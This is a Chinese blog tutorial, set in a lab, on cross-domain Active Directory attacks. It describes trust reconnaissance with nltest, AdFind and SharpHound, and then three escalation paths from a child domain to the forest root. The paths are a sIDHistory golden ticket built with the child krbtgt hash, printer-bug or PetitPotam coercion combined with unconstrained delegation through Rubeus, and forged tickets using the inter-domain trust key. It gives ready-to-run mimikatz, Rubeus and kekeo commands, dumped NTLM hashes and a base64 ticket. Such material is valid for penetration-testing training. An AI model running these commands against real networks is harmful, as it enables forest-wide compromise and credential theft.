内网跨域渗透利用

置顶 已于 2023-03-26 00:49:40 修改
阅读量1.1k 收藏 8
点赞数 1
分类专栏： 域安全 文章标签： 安全漏洞 信息安全 网络 windows 系统安全
于 2023-03-16 19:29:37 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_18811919/article/details/129428196
版权

文章目录

简述
本篇文章主要讲述跨域利用的常见手法,以及域信任查询与域信任分析
本篇文章不结合常见域渗透手法利用,主要以复现跨域攻击手法为主。
域信任简述
简述:
	域信任存在的主要原因是为了解决多域环境下的身份验证和访问控制问题。
	在一个拥有多个子域的大规模 Active Directory 环境中，不同的用户和计算机
	需要在多个域之间进行通信和共享资源。为了实现这种交互，一些域需要承认
	另一些域的身份验证和用户身份,域信任分为单向信任和双向信任Windows域
	从2003开始默认是双向域信任,下面将简单讲述什么是单向信任和双向信任。
单向信任:
	单向信任是指两个域之间建立的单向信任关系。单向信任可以分为单向进入信任和单向离开信任。
	单向进入信任的情况是其中一个域信任另一个域，但反过来却不成立。例如，总部域信任分公司域，
	但分公司域不信任总部域。
	单向离开信任的情况是其中一个域被另一个域信任，但它本身不信任另一个域。例如，分公司域信任总
	部域，但总部域不信任分公司域
双向信任:
	双向域信任是一种可以相互信任并验证的两个域之间的安全连接。它允许每个域中的用户和
	计算机访问另一个域中的资源，并允许另一个域中的用户和计算机访问当前域中的资源。
外部信任:
	外部信任是建立在不同林间的域之间的信任关系。它允许一个域中的用户或计算机访问另一个域
	中的资源，并且需要跨越安全界限进行身份验证。当一个组织需要频繁地与另一个组织进行沟通或
	协作时，可以建立外部信任来实现共享资源和集中管理,Windows域林便是外部信任。
内部信任:
	现有林中创建域树时，将建立新的树根信任，当前域树中的两个或多个域之间的信任关系被称为
	内部信任,比如test.com的根域与bj.test.com的子域就属于内部信任。
环境说明:
机器名称				简介			域名						IP
2016-TEST-DC		根域			test.com				192.168.100.100
2016-TEST-FZDC		辅助DC			test.com				192.168.100.200
WIN7-TEST			WIN7机器		test.com				192.168.100.10
WIN10-TEST			WIN10机器		test.com				192.168.100.20
2016-BJTEST-DC		beijing子域DC	beijing.test.com		192.168.110.110/192.168.100.110
WIN7-BJTEST			WIN7机器		beijing.test.com		192.168.110.10
WIN10-BJTEST		WIN10机器		beijing.test.com		192.168.110.20
2016-SHTEST-DC		shanghai子域DC	shanghai.test.com		192.168.120.120/192.168.100.120
WIN7-SHTEST			WIN7机器		shanghai.test.com		192.168.120.10
WIN10-SHTEST		WIN10机器		shanghai.test.com		192.168.120.20
域信任侦查
普通域成员机器使用cmd命令查询命令:
nltest.exe /domain_trusts

在这里插入图片描述

可以使用powershell查询
查询与test.com的域信任关系（需要在域控机器上查询）
查询当前域全局编录信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

在这里插入图片描述

Get-ADTrust -Identity test.com(域名DC)

在这里插入图片描述

获取根域信息并查询整个域
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

在这里插入图片描述

查询当前域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

在这里插入图片描述

查询当前域信任关系
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

在这里插入图片描述

Adfind侦查域树
通过之前的cmd可以查询到域信任关系之后可以使用Adfind对整个域树进行侦查,
方式其实跟本域侦查差不多不过DN要改为想要查询的域下面举例在shanghai.test.com
的普通域成员机器上使用Adfind查询根域的账号以及入域机器,在实战当中大家可以举一反三。
在shanghai普通域成员机器上查询域信任关系:
	nltest.exe /domain_trusts

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域下的企业管理员（企业管理员组在跨域利用中是重要凭据之一）:
	AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com"
	可以看到查询到了两个账号分别是dcadmin和administrator账号。

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域域下的入域机器:
	AdFind.exe -b "CN=Computers,DC=test,DC=com" DN

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域域下的账号:
	AdFind.exe -b "CN=Users,DC=test,DC=com" DN

在这里插入图片描述

bloodhound侦查域树
bloodhound侦查域树需要-d指定域才行,比如要拖test.com、shanghai.test.com、beijing.test.com
则需要一下命令:
SharpHound.exe -d test.com

在这里插入图片描述

SharpHound.exe -d shanghai.test.com

在这里插入图片描述

SharpHound.exe -d beijing.test.com

在这里插入图片描述

需要注意的是SharpHound.exe -c all只会拖本域信息不会自动拖根域或其他子域。

在这里插入图片描述

将指定这3个指定域拖来下之后就可以全部加载到bloodhound中进行分析了。

在这里插入图片描述

利用方式1:使用子域Krbtgt 密钥创建跨域金票（sIDHistory滥用）
利用原理:
	SIDHistory是一个为支持域迁移方案而设置的属性，当一个对象从一个域迁移到另一个域时，
	会在新域创建一个新的SID作为该对象的objectSid，在之前域中的SID会添加到该对象的
	sIDHistory属性中，此时该对象将保留在原来域的SID对应的访问权限。
	比如域A账号lisi是管理员但是到域B下就是普通账号并且SID是不一样的,可以通过sIDHistory设置为域A
	下lisi的SID那么域B下的lisi也用于管理员权限，下面一张图可以很直白的理解下。

在这里插入图片描述

Krbtgt 密钥创建跨域金票利用的本质是sIDHistory属性的滥用,子域下的administrator伪造sIDHistory为Enterprise Admins组的SID。
需要注意:
	这种利用方式只能是域树中使用,在林信任中默认会开启,开启SID过滤就算你加了sIDHistory属性在跨林访问时,
	目标域返回给你的服务票据中也会过滤掉非目标林中的SID。
利用步骤：
	1.拿到了域控或者域管权限进行Dcsync拿到Krbtgt Ntlm Hash。
	2.使用mimikatz伪造新PAC为根域的Enterprise Admins(企业管理员组),并创建跨域黄金票据。
	3.将创建好的跨域票据进行Dcsync或者,PTT(传递票据)申请根域cifs服务的TGS票据。
利用步骤1:
	假设通过域管拿到shanghai子域krbtgt hash:
	mimikatz # lsadump::dcsync /domain:shanghai.test.com /all /csv
	[DC] 'shanghai.test.com' will be the domain
	[DC] '2016-SH-DC.shanghai.test.com' will be the DC server
	[DC] Exporting domain 'shanghai.test.com'
	[rpc] Service  : ldap
	[rpc] AuthnSvc : GSS_NEGOTIATE (9)
	1104    TEST$   a56321523a51ed93b6c21ff9213cade9        2080
	500     Administrator   443304af5a35f12b9ff7ecc74adc5a27        512
	1000    admin   31d6cfe0d16ae931b73c59d7e0c089c0        544
	502     krbtgt  4b3e6ed708355aa2d2ae70ef6e3a9779        514
	1105    shruyu  4c25ed57e37131073192a98148fbc30f        512
	1107    WIN7-SHTEST$    925c0baf53810e732db919536805aa44        4096
	1108    WIN-SHTEST$     fdb517e80191d9e504ad69a6e6c55df4        4096
	1001    2016-SH-DC$     b95b447c9fcedb2da5e34d9fc9b75ecd        532480
	1106    shyugaun        443304af5a35f12b9ff7ecc74adc5a27        512
	1109    shyg    443304af5a35f12b9ff7ecc74adc5a27        512
利用步骤2:
	Adfind查询根域下的Enterprise Admins组SID命令:
		AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com" objectSid
		S-1-5-21-2612114875-2818398968-331682553-519

在这里插入图片描述

mimikatz创建跨域黄金票据命令:
	Adfind查询当前域SID命令:
		adfind.exe -f "(&(objectclass=domain)(distinguishedName=DC=shanghai,DC=test,DC=com))" objectSid

在这里插入图片描述

	清除当前票据
		kerberos::purge
	注入跨域金票参数说明:
		sids:Enterprise Admins(企业管理员组)SID
	sid:当前域SID
		domain:当前域名
		krbtgt:NTLM Hash
	ptt:将票据注入当前内存
		kerberos::golden /user:administrator /sids:S-1-5-21-2612114875-2818398968-331682553-519 /sid:S-1-5-21-3064315907-2361217233-2781650092 /domain:shanghai.test.com /krbtgt:4b3e6ed708355aa2d2ae70ef6e3a9779 /ptt

在这里插入图片描述

利用步骤3:	
	lsadump::dcsync /domain:test.com /all /csv
	进行Dcsync导出test.com根域下的所有NTLM Hash后续可以进行PTH攻击。

在这里插入图片描述

上面进行Dcsync之后已经拿到根域的所有Hash了下面在介绍另一种利用方式:
使用kekeo进行PTT传递票据申请根域控TGS的cifs票据并登录根域。
上述mimikatz不加/ptt注入到当前内存中会自动在当前目录下生成TGT票据文件,
需要使用kekeo指定该票据进行PTT获取根域cifs的TGS票据。
命令:
	tgs::ask /tgt:C:\Users\shyg\Desktop\ticket.kirbi /service:cifs/2016-TEST-DC.test.com /ptt

在这里插入图片描述
在这里插入图片描述

利用方式2:打印机BUG/PetitPotam+非约束委派进行跨域利用
利用原理:
	域林中域控（默认启用非约束委派）的权限或配置了非约束委派的服务器权限情况下，
	使其他域的域控制器向已被控制服务器送身份认证请求，获取目标域控机器账户（或其他用户）TGT。
	需要注意：
		此利用仍然受SID过滤的影响,在开启SID过滤的情况下不会将TGT发送到服务。
利用步骤:
	1.拿下某台域控或者域树内的某台具有非约束委派的机器。
	2.Rubeus开启监听根域机器账号TGT
	3.使用打印机BUG/PetitPotam触发根域控Kerberos认证到权限机器。
	4.Rubeus.exe导入票据并进行Dcsync。
利用步骤1:
	假设拿到了shanghai.test.com中的域管权限并使用RDP登录到了该子域域控。
利用步骤2:
	监听根域机器账号
	Rubeus.exe monitor /interval:2 /filteruser:2016-TEST-DC$

在这里插入图片描述

利用步骤3:
	利用SpoolSample.exe工具进行强制认证命令:
	SpoolSample.exe 2016-TEST-DC 2016-SH-DC

在这里插入图片描述

利用步骤4:
	Rubeus成功抓取到根域机器账号TGT。

在这里插入图片描述

Rubeus导入根域TGT票据进行PTT攻击
Rubeus.exe ptt /ticket:doIFTDCCBUigAwIBBaEDAgEWooIEWDCCBFRhggRQMIIETKADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTaOCBBgwggQUoAMCARKhAwIBAqKCBAYEggQC5NFTRrQeqOybbah2lepgmY4GG3w9974Zc5edjnCZLKkENilLTPskGpu19N+inK04OI3nJynY7HsCKFEjBwv3afCLeWFUF8/Nqjg9GTuRrfFG2VsR17iZFvF95I/vVd537TRc6Tfrl31jkXcTRRuWMSeFZKKe+fW6BgwHc/AvvzOcKPRuhO8ql4Q5hpoyEeLKjFQsAs8nRczTedE8hAM6dI2+2X1IGEYfA9f1HePDltojybCpA1WCvV6uvOhD18Y4/dia1PkB9yVoPXI3rS9oF1phJPn/CKb56xNV+U+EXa4rz+sDHYa4zSd2KQN2UaqGTM73xNO2em/5YYuZ6j4z0NmzW4E73pDamcGEwEoAkH9s2EvefXn2vPRe2N8LcpwcFqWR6LCh/AJtAVrITE9g1JUrnfAB9v5gtyZ3RUMjm6zjy+yhNdi0W7HMgbsfOTqbI7xbvxS4iHynngr0ytx73QzGd6nPkZoZ/9rnBTliVSUwqlvpiO9njah4RS1+SzgBog2LHuQCwDq5ixBmK0BgQzqvWW+4CvBMs1Chb3IATtNa5wxIddhet05MLjxdmTxlTABiJ+9FOsY29xHjCH2Ov5Kuax3K30qQiBOdlS58c4HRE6xH8Mqg8OowFfg8bhGNU3674jY0HXoB+UkPWVqI6Yk1X0j8ew9UWf3qphpBtKP4t4lFOa5kbTJ7yw6da/PtN6Mrfihr9d8LPffsAqe1I03eePDrYYPEaYbRhfXyieY0dhqR0/2LuziAVeVWsMSlYcg4CEoQPqQoPlVtWrgc48w4862T6qBOX5s9zyurjif5g5gxK4Ly96zHhZAyuZ8bEcRpmhbh9ckptmYvXuTZHzLiIh5DWs5WGr+vuFjs8T//9xXYlsjnG3CdyjincjDxIPO9qjPzwAQRskywuSZRuXoHLDBhIQ1CJc8An9ipfiwNBse0JJ1KuzyWt3WAGOttktxmgFLIsFHmoxQeatg5AO0sIVW0CCJWz/jXdVbSHmmFIH4umwygPpjjIFN6J5B5MCOJaAMYRrLVsS6WnkP9WNKm0K15sdCmWfea/fx/bTqNHUxCJ4COSDFsouo1dZqfzpLbsWD/UpLA/IdrKT5st9cwCfD7vajnZhR3a3vMdiOpwKennZuB3UwoGXwf74wXG+n3WKU4EezWLQCvjv2mL71ehmO5grQKFQeoojJS6gfpwnRCwiQ2YDme5s6cpcmI4IlOARb4FqDX1/2u9dfLuFHmbLVt7Vs3FsR1Mb3GVq6HUgZ69+iYKdY2YikJH5q6hCCENWYWhL+u5xMs4OuZ+55aYbvLJp0uqxVhekW41aghgm6XC71Q1PM90YfjYaO+Tn7TIzwRt/IiHAPKyMcAZvd+o4HfMIHcoAMCAQCigdQEgdF9gc4wgcuggcgwgcUwgcKgKzApoAMCARKhIgQg5byaluxodvKOqAphZQq+g0aURHdh2nV9SnEyzYKb2WKhChsIVEVTVC5DT02iGjAYoAMCAQGhETAPGw0yMDE2LVRFU1QtREMkowcDBQBgoQAApREYDzIwMjMwMzE2MDYyODIxWqYRGA8yMDIzMDMxNjE2MjcyNVqnERgPMjAyMzAzMjMwNjI3MjVaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTQ==

在这里插入图片描述

在当前窗口下使用mimikatz进行Dcsync
lsadump::dcsync /domain:test.com /all /csv

在这里插入图片描述

利用方式3:使用域间信任密钥进行跨域利用
域间信任密钥跨域利用与Krbtgt 密钥创建跨域金票类似唯一的区别是通过域间信任密钥创建票据,
添加企业管理员组到TGT PAC的ExtraSids字段。
利用步骤:
1.拿下子域域控使用mimikatz抓取域间密钥
2.使用mimikatz创建基于域间密钥的跨域金票
3.进行PTT票据传递攻击申请域控cifs服务TGS票据
利用步骤1:
	在子域控查询信任账户
	Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName

在这里插入图片描述

	使用mimikatz在子域控下抓取域间信任密钥:
	privilege::debug
	lsadump::trust /patch

在这里插入图片描述

利用步骤2:
mimikatz利用域间密钥创建TGT
user:伪造的用户
domain:当前域
sid:当前域SID
sids:根域企业管理员组SID
rc4:域间密钥rc4算法
kerberos::golden /user:administrator /domain:shanghai.test.com /sid:S-1-5-21-3064315907-2361217233-2781650092 /sids:S-1-5-21-2612114875-2818398968-331682553-519 /rc4:a56321523a51ed93b6c21ff9213cade9 /service:krbtgt /target:test.com

在这里插入图片描述

Rubeus申请域控cifs的TGS
Rubeus.exe asktgs /service:cifs/2016-TEST-DC.test.com /dc:2016-TEST-DC.test.com /ticket:ticket.kirbi /ptt

在这里插入图片描述
在这里插入图片描述

总结
本篇文章讲述了3种跨域利用方式以及跨域使用Adfind和bloodhound做侦查
1.使用域间信任密钥进行跨域利用
2.子域Krbtgt 密钥创建跨域金票
3.打印机BUG/PetitPotam+非约束委派进行跨域利用
虚构之人
关注
  • 1
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
内网渗透(五十三)之域控安全和跨域攻击-利用域信任密钥获取目标域控
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-24 350
上传asktgs.exe和kirbikator.exe工具，asktgs.exe伪造票据，kirbikator.exe注入票据。使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥。当前已经控制abc.hack.com域，其中包括 DC2机器和PC-2008-2机器。创建计划任务，如果拒绝访问，请注入host服务票据。创建CIFS服务的票据进行复制文件的操作。在普通的域内用户中创建创建高权限票据。伪造host服务，进行创建计划任务。这个是我们的恶意文件。
内网穿透-端口映射-跨域问题解决
qq_39497997的博客
08-10 4415
内网穿透 server.port=80 跨域问题 @CrossOrigin
域渗透-跨域攻击
就是法老
08-19 1894
很多大型企业都拥有自己的内网，一般通过域林进行共享资源。根握不同职能区分的部门，从逻辑上以主域和子域进行划分，方便统一管理。在物理层，通常使用防火墙将各个子公司及各个部门划分为不同的区域。攻击者如果得到了某个子公司或者某个部门的域控制器权限,但没有得到整个公司的内网全部权限，往往会想办法获取其他部门或者域的权限。 》》》跨域攻击方法《《《 WEB漏洞：跨域获取权限 PTH/PTT：DC本地管理员密码可能相同 域信任关系：....... 》》》跨域攻击--域信任关系《《《 域信任的作用:解决多域.
内网渗透-跨域环境渗透-1
分享
03-11 778
内网渗透-跨域环境渗透-1
跨域 ----细节的渗透
weixin_35724834的博客
08-29 301
今天 时间8.29 记录下成长的‘美地’事。。。。。。。。 跨域问题 今天做公司的车生活项目技术用的springboot支持前后端分离（不知手机端怎么做没研究过（^/^） ） 前端做跨域想着后台就不用跨域了（哎 菜比） 结果:被打脸最好的方法是前端做跨域后台也要做跨域【当然 做项目的时候springMVC 版本在4.0以上就可以在控制层也...
利用nginx解决跨域问题【nginx跨域】
最新发布
07-08
【作品名称】：利用nginx解决跨域问题【nginx跨域】 【适用人群】：适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【项目介绍】：利用nginx解决...
PHP如何利用P3P实现跨域
12-18
有别于JS跨域、IFRAME跨域等的常用处理办法，还可以利用P3P来实现跨域。P3P是什么P3P（Platform for Privacy Preferences）是W3C公布的一项隐私保护推荐标准，以为用户提供隐私保护。 P3P标准的构想是：Web 站点的...
利用混合域分析仪进行跨域分析
01-20
这五种功能工作在同一时钟、同一触发机制下，使得MDO4000具有创新的时域、频域和调制域时间相关的跨域分析功能。 　图1:MDO4000系列混合域分析仪。 　跨域分析简介 　随着嵌入式技术、软件无线电技术及数字射频...
geoserver跨域包
05-09
而“geoserver跨域包”这个主题涉及到的是一个关键的技术问题：跨域资源共享（CORS，Cross-Origin Resource Sharing）。在Web应用程序中，由于浏览器的安全策略，不同源的请求（比如JavaScript从一个域名访问另一个...
网站建设学习（二）---内网穿透
doctorKun
11-17 287
前提 什么是公网，私网，内网，外网？ 私网：企业或者家庭用户搭建的网络，里面一般是私网IP。 公网：运营商搭建的网络。负责连接各个公司或者家庭的网络，里面网络一般为公网IP。 一般私网IP进入公网后，是没有路由的，会被丢弃，所以私网访问公网的话，需要SNAT（源地址转换，解决内网用户用同一个公网地址上网的问题。），把私网IP换成公网IP。 内网：可以简单理解为私网，不过这个概念是对于企业而言的，在企业内部叫私网，企业外部叫外网。 公网：从概念讲，是一个企业以外的网络，运营商的网络–公网，也可以包括其他
前后端项目进行内网穿透
weixin_42665577的博客
03-07 558
在本地开发环境中，你可以使用`cnpm run dev`来启动前端项目，使用Flask来启动后端项目。下面是一个简单的示例配置，假设前端项目运行在3000端口，后端项目运行在5000端口。以上配置假设你的域名为`your_domain.com`，并且前端项目的API请求路径以`/api/`开头。这样，当访问`http://your_domain.com`时，Nginx会将请求转发到前端项目，而访问`http://your_domain.com/api/`时，Nginx会将请求转发到后端项目。
NATAPP内网穿透方法
David
08-31 2727
进入官网注册账号，并添加一个免得的通道，下载自己相对应的应用。（存储在你知道路径的文件中--等下有cmd命令有用） 打开cmd命令工具找到你下载的应用，使用cmd运行如下： natapp.exe -authtoken=9ab6b9040a624f40 "=后面的一串" 是官网你创建的“我的隧道”里面的authtoken的值，复制过来就行了。  红色地
内网渗透-域渗透
qq_44806973的博客
11-23 4516
内网渗透(域渗透) 基础指南
内网渗透(五十二)之域控安全和跨域攻击-搭建和查看域信任关系
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
02-23 432
在域中，Enterprise Admins组（出现在林中的根域中）的成员具有对目录林中所有域的完全控制权限。在默认情况下，该组包含林中所有域控制器上具Administrators权限的成员。如果是复制的虚拟机请运行 C:\Windows\System32\sysprep\sysprep.exe 重新获取SID。1、修改计算机名和修改IP地址，DNS指向父域。1、修改计算机名和修改IP地址，DNS指向根域。5、提供父域的账号密码。2、安装 AD域服务。2、安装 AD域服务。获取当前域中的用户组。
第122天：内网安全-域信息收集-应用网络凭据-CS插件-Adfind-BloodHound
wuqingsix的博客
02-19 409
内网域的概念内网域约等于我们平时常常使用到的家庭局域网，在同一个WiFi环境下，所有连接该wifi的手机，电脑，等联网设备，都算是在同一个内网环境下。但是又有所区别，如 网吧所有机器 学校内的机房也是在同一个网关路由下，但是规模要比平时用到的局域网要大很多，这类环境叫工作组。而我们主要学习的内网渗透环境是大型的企业内部的内网环境。
渗透测试之子域到父域的横向移动（Sid History)
Candour_0的博客
02-20 360
渗透测试之子域到父域的横向移动（Sid History)
内网安全：域内信息收集
qq_61553520的博客
06-01 2380
systeminfo 详细信息netstat -ano 端口列表route print 路由表net start 启动服务tasklist 进程列表schtasks 计划任务ipconfig /all 判断存在域net view /domain 判断存在域net time /domain 判断主域netstat -ano 当前网络端口开放nslookup 域名 追踪来源地址wmic service list brief 查询本机服务。
花生壳内网穿透+https+tomcat不能进行网页访问（二、跨域访问的问题）
c_1969的博客
10-17 1811
网站有一项功能是将用户上传的数据与用户ID进行保存，用户ID是从session里用user=request.getSession().getAttribute("")取的。将session的id打印出来，发现通过表单与ajax取到的session不同。当协议、主机、端口不同是，就会出现跨域访问的问题，使用的是不同的session。因为是通过域名直接访问tomcat下的应用，所以将url中的应用名去掉。在网上查找了一下，说是出现了跨域访问的问题。看来可能是ajax请求时，url的问题了。
跨域攻击分析和防御（上）
Ms08067安全实验室
11-24 1204
点击星标，即时接收最新推文跨域攻击在大型公司或大型跨国企业中都拥有自己的内网，跨国公司都有各个子公司一般以建立域林进行共享资源。根据不同职能区分的部门，从逻辑上以主域和子域进行划分以方便统一管理。在物理层使用防火墙将各个子公司以及各个部门划分为不同区域。我们在渗透测试过程中如果拿到其中某个子公司或是某个部门的域控制器权限后，如果没有得到整个组织机构全部权限或我们需要寻找的资料不在此域中，往往需要其...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值